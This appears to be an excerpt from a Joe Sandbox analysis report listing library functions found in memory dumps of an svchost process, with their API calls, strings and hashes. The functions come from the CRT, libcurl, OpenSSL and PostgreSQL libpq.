String ID: Could not resolve host: %s$Couldn't resolve proxy '%s'$Failed to resolve host '%s' with timeout after %lld ms$Unix socket path too long: '%s'$localhost/
API String ID: 349811053-652210993
Opcode ID: 1b9ca34e3b3f2d4686301eafdf596b673b5f06633424a2ef55324309f437c312
Instruction ID: c8aadf97d4ab95d94c9be9159304a666136b4c724e2921b4b9c92adc099197eb
Opcode Fuzzy Hash: 1b9ca34e3b3f2d4686301eafdf596b673b5f06633424a2ef55324309f437c312
Instruction Fuzzy Hash: 31713729B0AB8A86FB66DF24E4607B923A0FB46F84F444031DE8D47786EF2DE454C744

Function 00007FFD942E7760 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140librarymemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,00000000,00007FFD942E7E16,?,?,?,00007FFD942E7D99), ref: 00007FFD942E77CD
GetLastError.KERNEL32(?,?,00000000,00007FFD942E7E16,?,?,?,00007FFD942E7D99), ref: 00007FFD942E77DF
LoadLibraryExW.KERNEL32(?,?,00000000,00007FFD942E7E16,?,?,?,00007FFD942E7D99), ref: 00007FFD942E7821
VirtualProtect.KERNEL32 ref: 00007FFD942E787D
VirtualProtect.KERNEL32 ref: 00007FFD942E78AE
FreeLibrary.KERNEL32(?,?,00000000,00007FFD942E7E16,?,?,?,00007FFD942E7D99), ref: 00007FFD942E78F2
GetProcAddressForCaller.KERNELBASE(?,?,00000000,00007FFD942E7E16,?,?,?,00007FFD942E7D99), ref: 00007FFD942E78FE

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FFD942E793D
api-ms-, xrefs: 00007FFD942E77F3
ext-ms-, xrefs: 00007FFD942E7806

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressCallerErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 983678269-1880043860
Opcode ID: 19b8e87cf9301367cd08217d46230329f98ca96a54b7e9c7c7eddbc50712cf40
Instruction ID: bc8066e1fdf611838b2887fa8e001e3b532460281c87562eb0b91b0ef7bb4004
Opcode Fuzzy Hash: 19b8e87cf9301367cd08217d46230329f98ca96a54b7e9c7c7eddbc50712cf40
Instruction Fuzzy Hash: 9A519021B0964691EA349BE6A8A46772354BF9ABB0F488734DE3D073D2EF3DE445C300

Function 00007FFDA3793450 Relevance: 16.6, APIs: 11, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA37936A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37936E0
Part of subcall function 00007FFDA37936A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793758
Part of subcall function 00007FFDA37936A0: RtlGetLastNtStatus.NTDLL ref: 00007FFDA3793763
Part of subcall function 00007FFDA37936A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793770
Part of subcall function 00007FFDA37936A0: CloseHandle.KERNEL32 ref: 00007FFDA37937B6

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793523
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793594
RtlGetLastNtStatus.NTDLL ref: 00007FFDA379359F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37935AC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37935BF
CloseHandle.KERNEL32 ref: 00007FFDA37935EA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793649
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA379365C
RtlGetLastNtStatus.NTDLL ref: 00007FFDA3793667
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793674
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793687

Part of subcall function 00007FFDA37959C0: GetFileAttributesA.KERNEL32 ref: 00007FFDA37959E6
Part of subcall function 00007FFDA37959C0: GetLastError.KERNEL32 ref: 00007FFDA37959F1

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: _errno$Last$Status$CloseHandle$AttributesErrorFile
String ID:
API String ID: 2758595869-0
Opcode ID: d3df3df46ebeed910f37aa43a7ceb0c59825b7abfe0e09809676aeb9f0070ec4
Instruction ID: 1ac2db00df84c8df265214a095286725fa5a3082af55b15252a9141e534a5a51
Opcode Fuzzy Hash: d3df3df46ebeed910f37aa43a7ceb0c59825b7abfe0e09809676aeb9f0070ec4
Instruction Fuzzy Hash: 6D51C762B0964282F6A18F25A82037A73A2BF58774F514330EA6D677D3DF3EE441C758

Function 00007FFDA3398720 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,00000000,-00000031,00007FFDA3398692), ref: 00007FFDA33987D5
ERR_set_debug.LIBCRYPTO-3-X64(?,?,00000000,-00000031,00007FFDA3398692), ref: 00007FFDA33987ED

Strings

write_state_machine, xrefs: 00007FFDA33987DF, 00007FFDA3398B0E
ssl\statem\statem.c, xrefs: 00007FFDA33987E6, 00007FFDA3398B15

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\statem.c$write_state_machine
API String ID: 193678381-3145639028
Opcode ID: 375df58a6fe72e2a8ebb13675cc0dc8b7a808cb7e5c548a03534db37eaa960cd
Instruction ID: d67d3cba1ec82e0464ee552e252f1154f420ebfc30aba5cfd5a33f0adb4a01f6
Opcode Fuzzy Hash: 375df58a6fe72e2a8ebb13675cc0dc8b7a808cb7e5c548a03534db37eaa960cd
Instruction Fuzzy Hash: C6A19F32B0EA82C1EB60BF25D4743B92362EB81B48F484032DA0D6B797DE7ED445C315

Function 00007FFDA3336950 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFDA337612C,?,00007FFDA335F4D2,?,00007FFDA3360F40), ref: 00007FFDA333699C
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFDA337612C,?,00007FFDA335F4D2,?,00007FFDA3360F40), ref: 00007FFDA33369B4
ERR_set_error.LIBCRYPTO-3-X64(?,00007FFDA337612C,?,00007FFDA335F4D2,?,00007FFDA3360F40), ref: 00007FFDA33369C4
ASYNC_get_current_job.LIBCRYPTO-3-X64 ref: 00007FFDA3336A1B

Strings

expect_quic, xrefs: 00007FFDA3364EFA
ssl\ssl_lib.c, xrefs: 00007FFDA33369AD
SSL_do_handshake, xrefs: 00007FFDA33369A1
ssl\quic\quic_impl.c, xrefs: 00007FFDA3364F06

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: C_get_current_jobR_newR_set_debugR_set_error
String ID: SSL_do_handshake$expect_quic$ssl\quic\quic_impl.c$ssl\ssl_lib.c
API String ID: 2134390360-1983154402
Opcode ID: 65262653f3e098f495c12320a0e5f1a27c419ec530ea063dc5ceeadd3c499906
Instruction ID: a7c4f2c6db3047b4ee1757cc3c6e9870fa4d40729bb91688fe8781358734d4dd
Opcode Fuzzy Hash: 65262653f3e098f495c12320a0e5f1a27c419ec530ea063dc5ceeadd3c499906
Instruction Fuzzy Hash: 8D617032F0EB4186E754AF26E46127E6362FB88B84F144231EA8D67796DF3EE450C744

Function 00007FFDA377A090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFDA377A0BE
WSASetLastError.WS2_32 ref: 00007FFDA377A0D1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377A0DC
memset.VCRUNTIME140 ref: 00007FFDA377A10C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377A17A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377A196
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377A1B2

Strings

, xrefs: 00007FFDA377A1A1

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: malloc$ErrorLastStartupmemset
String ID:
API String ID: 4264553866-3916222277
Opcode ID: 81dba184a20681d5168ef095bce935bd882ab3235e0eb984ab4d8f4362180f30
Instruction ID: 190f9a20f73a38f76dbf4b04167352b7ccaa33886781794dc1844a094adf740c
Opcode Fuzzy Hash: 81dba184a20681d5168ef095bce935bd882ab3235e0eb984ab4d8f4362180f30
Instruction Fuzzy Hash: A7418571B0AB8186F7958F20E4793A933A6FB45B48F440638DE4D6A3DADFBE9144C314

Function 00007FFDA5576540 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154networkCOMMON

Download Yara Rule

APIs

connect.WS2_32 ref: 00007FFDA55765E5
WSAGetLastError.WS2_32 ref: 00007FFDA55765EE
WSASetLastError.WS2_32 ref: 00007FFDA5576679

Strings

connect to %s port %u from %s port %d failed: %s, xrefs: 00007FFDA55766B5
not connected yet, xrefs: 00007FFDA5576721
connected, xrefs: 00007FFDA55767AE
local address %s port %d..., xrefs: 00007FFDA5576613

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLast$connect
String ID: connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
API String ID: 375857812-3816509080
Opcode ID: 81808cecde148e0314505d5bbdb3587760bc8037fb71c53ef54272281857020f
Instruction ID: 68cf9399ccc9b1b4e16a39543cc9b25698a9e3e047f287bb4bf1c5cde9dc0b90
Opcode Fuzzy Hash: 81808cecde148e0314505d5bbdb3587760bc8037fb71c53ef54272281857020f
Instruction Fuzzy Hash: 4C619E6AB0D68A81EB16DF25D8243F92761AF46FA4F444631DE2D0B7D6DF28E445C308

Function 00007FFD942EE5D4 Relevance: 10.8, APIs: 7, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFD942EEA13

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d8c9c720c423dd0fb7c7fdef2e919f46d25ae73476d54887143296ce2eb2440e
Instruction ID: 6591b5bd9dbe61a96c4cb36d7f6457e62bc6472627600f3bddf59e52ee78ad2e
Opcode Fuzzy Hash: d8c9c720c423dd0fb7c7fdef2e919f46d25ae73476d54887143296ce2eb2440e
Instruction Fuzzy Hash: 5DC1C522B0C78681E7709B9594A42BF7791FB82B80F558235EA4D0B7A3DF7EE845C701

Function 00007FFDA3794380 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 117fileCOMMON

Download Yara Rule

APIs

_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFDA37936D7), ref: 00007FFDA37943EB
CreateFileA.KERNEL32 ref: 00007FFDA3794494
GetLastError.KERNEL32 ref: 00007FFDA37944A0
RtlGetLastNtStatus.NTDLL ref: 00007FFDA37944CB

Strings

D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\src\port\open.c, xrefs: 00007FFDA37943DD
(fileFlags & ((O_RDONLY | O_WRONLY | O_RDWR) | O_APPEND | (O_RANDOM | O_SEQUENTIAL | O_TEMPORARY) | _O_SHORT_LIVED | O_DSYNC | O_D, xrefs: 00007FFDA37943E4

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: Last$CreateErrorFileStatus_wassert
String ID: (fileFlags & ((O_RDONLY | O_WRONLY | O_RDWR) | O_APPEND | (O_RANDOM | O_SEQUENTIAL | O_TEMPORARY) | _O_SHORT_LIVED | O_DSYNC | O_D$D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\src\port\open.c
API String ID: 4152205889-1407915
Opcode ID: 13428a4a084adc298e55a553be0c416b07cc18ad2ad40da243f3966190fd6d86
Instruction ID: 02e541594a3e83cd16ad9c7177b9199b1ac2ea75d271edcbfbfe2939b68fe04c
Opcode Fuzzy Hash: 13428a4a084adc298e55a553be0c416b07cc18ad2ad40da243f3966190fd6d86
Instruction Fuzzy Hash: F2413C32B0966586F7609B64E8123BE3592F744774F400334DA6E537D2DE7ED8848748

Function 00007FFDA37936A0 Relevance: 9.1, APIs: 6, Instructions: 88COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA37936E0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793758
RtlGetLastNtStatus.NTDLL ref: 00007FFDA3793763
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793770
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3793783
CloseHandle.KERNEL32 ref: 00007FFDA37937B6

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: _errno$CloseHandleLastStatus
String ID:
API String ID: 573794993-0
Opcode ID: 01925ca212a3f11562ca6d029b4d52a2f766c3a2ff5ed6290fc74fb45a60b174
Instruction ID: 0ca386779417fb41dad14e21a3002938e0fb67cc70c6f17a31cc61c753baba90
Opcode Fuzzy Hash: 01925ca212a3f11562ca6d029b4d52a2f766c3a2ff5ed6290fc74fb45a60b174
Instruction Fuzzy Hash: F331E765B0964286F3A09F25ACA02793362BF58774F504334EA3D937D2DF3DE4908758

Function 00007FFD942E7110 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFD942E711F
SetLastError.KERNEL32 ref: 00007FFD942E713E
FlsSetValue.KERNEL32 ref: 00007FFD942E7167
FlsSetValue.KERNEL32 ref: 00007FFD942E7178
FlsSetValue.KERNEL32 ref: 00007FFD942E7189

Part of subcall function 00007FFD942E6D40: HeapFree.KERNEL32(?,?,17AB402583480000,00007FFD942F2CFA,?,?,?,00007FFD942F3077,?,?,00000000,00007FFD942F1E21,?,?,00007FFD942E6A0E,00007FFD942F1D53), ref: 00007FFD942E6D56
Part of subcall function 00007FFD942E6D40: GetLastError.KERNEL32(?,?,17AB402583480000,00007FFD942F2CFA,?,?,?,00007FFD942F3077,?,?,00000000,00007FFD942F1E21,?,?,00007FFD942E6A0E,00007FFD942F1D53), ref: 00007FFD942E6D60

SetLastError.KERNEL32 ref: 00007FFD942E71AC

Memory Dump Source

Source File: 00000035.00000002.3362544062.00007FFD94241000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFD94240000, based on PE: true

Associated: 00000035.00000002.3362523626.00007FFD94240000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362698877.00007FFD9445A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362719340.00007FFD9445D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362740573.00007FFD9445E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000035.00000002.3362762637.00007FFD94462000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffd94240000_svchost.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: a563aec71d00df217e2d32d98fb9186aed5d26dbd20ef52b5e1b2d1812bed9e4
Instruction ID: 6bc070dad67140ea4c025c1f01ca91d928b10edc880af858ca835d019d242c32
Opcode Fuzzy Hash: a563aec71d00df217e2d32d98fb9186aed5d26dbd20ef52b5e1b2d1812bed9e4
Instruction Fuzzy Hash: CF112B20B0824241FA7867F1A9B917B1252BF87790F54C635D96E5B7C7DE2EE841D300

Function 00007FFDA33872F1 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA3388CA0: CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA3382579), ref: 00007FFDA3388CD4

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA338742E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3387446
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA3387457

Strings

tls_new_record_layer, xrefs: 00007FFDA3387433
ssl\record\methods\tls_common.c, xrefs: 00007FFDA338743F

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_zallocR_newR_set_debugR_set_error
String ID: ssl\record\methods\tls_common.c$tls_new_record_layer
API String ID: 3755831613-2134088818
Opcode ID: fe661f9baf099ed6a079c9f3ac4262f3b5fd60779bfcbd9a632273df75bf4176
Instruction ID: 139edc2f3e37889c7f08ae5c66f2a7ccea30e7d9a680771e50050d0206661920
Opcode Fuzzy Hash: fe661f9baf099ed6a079c9f3ac4262f3b5fd60779bfcbd9a632273df75bf4176
Instruction Fuzzy Hash: 92513A3660EFC186D3A0DB55E8902AAB7A6F788790F100136EACD53B5ADF3DD591CB04

Function 00007FFDA3782E10 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,00007FFDA3782C5E,?,?,?,00007FFDA3771068), ref: 00007FFDA3782E24

Part of subcall function 00007FFDA378C3B0: Sleep.KERNEL32(?,?,?,00007FFDA3782E38,?,?,?,?,00007FFDA3782C5E,?,?,?,00007FFDA3771068), ref: 00007FFDA378C3D2
Part of subcall function 00007FFDA378C3B0: InitializeCriticalSection.KERNEL32(?,?,?,00007FFDA3782E38,?,?,?,?,00007FFDA3782C5E,?,?,?,00007FFDA3771068), ref: 00007FFDA378C3F0
Part of subcall function 00007FFDA378C3B0: EnterCriticalSection.KERNEL32(?,?,?,00007FFDA3782E38,?,?,?,?,00007FFDA3782C5E,?,?,?,00007FFDA3771068), ref: 00007FFDA378C406

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,00007FFDA3782C5E,?,?,?,00007FFDA3771068), ref: 00007FFDA3782E4A

Strings

libpq-16, xrefs: 00007FFDA3782E5A
PGLOCALEDIR, xrefs: 00007FFDA3782E43
/share/locale, xrefs: 00007FFDA3782E53

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterErrorInitializeLastSleepgetenv
String ID: /share/locale$PGLOCALEDIR$libpq-16
API String ID: 4109591470-900106006
Opcode ID: b028873d0fdef3fab30be0700722ad3c4eb28da0254eb6363c39a8684a7feb72
Instruction ID: cc34501d5255783f29028543d025bfb7df125153db7a475038f65c242ce44f81
Opcode Fuzzy Hash: b028873d0fdef3fab30be0700722ad3c4eb28da0254eb6363c39a8684a7feb72
Instruction Fuzzy Hash: 0401FF50F0F68392FE509B14BCB51B537A2AF59305F840136D14E66753EE2EE985C748

Function 00007FFDA557ADE0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

unsupported transport type %d, xrefs: 00007FFDA557AEA6
haproxy protocol not support with SSL encryption in place (QUIC?), xrefs: 00007FFDA557B17C

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: haproxy protocol not support with SSL encryption in place (QUIC?)$unsupported transport type %d
API String ID: 0-551583306
Opcode ID: a2e125e8056a15029dbd4818e3b0156752fb1dd14fe124f35d3223dcfba5b452
Instruction ID: f6d5215194ad93a045263ffa8fc2d9f061ea0ce4ec71db4540b92882ed743bad
Opcode Fuzzy Hash: a2e125e8056a15029dbd4818e3b0156752fb1dd14fe124f35d3223dcfba5b452
Instruction Fuzzy Hash: 64A19C6AB0E38A85FB66CF25D4643792BA1AB46F94F484831DE4D47386EF3DE441C708

Function 00007FFDA55C1D10 Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C1D28
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C1D90

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: callocfree
String ID:
API String ID: 306872129-0
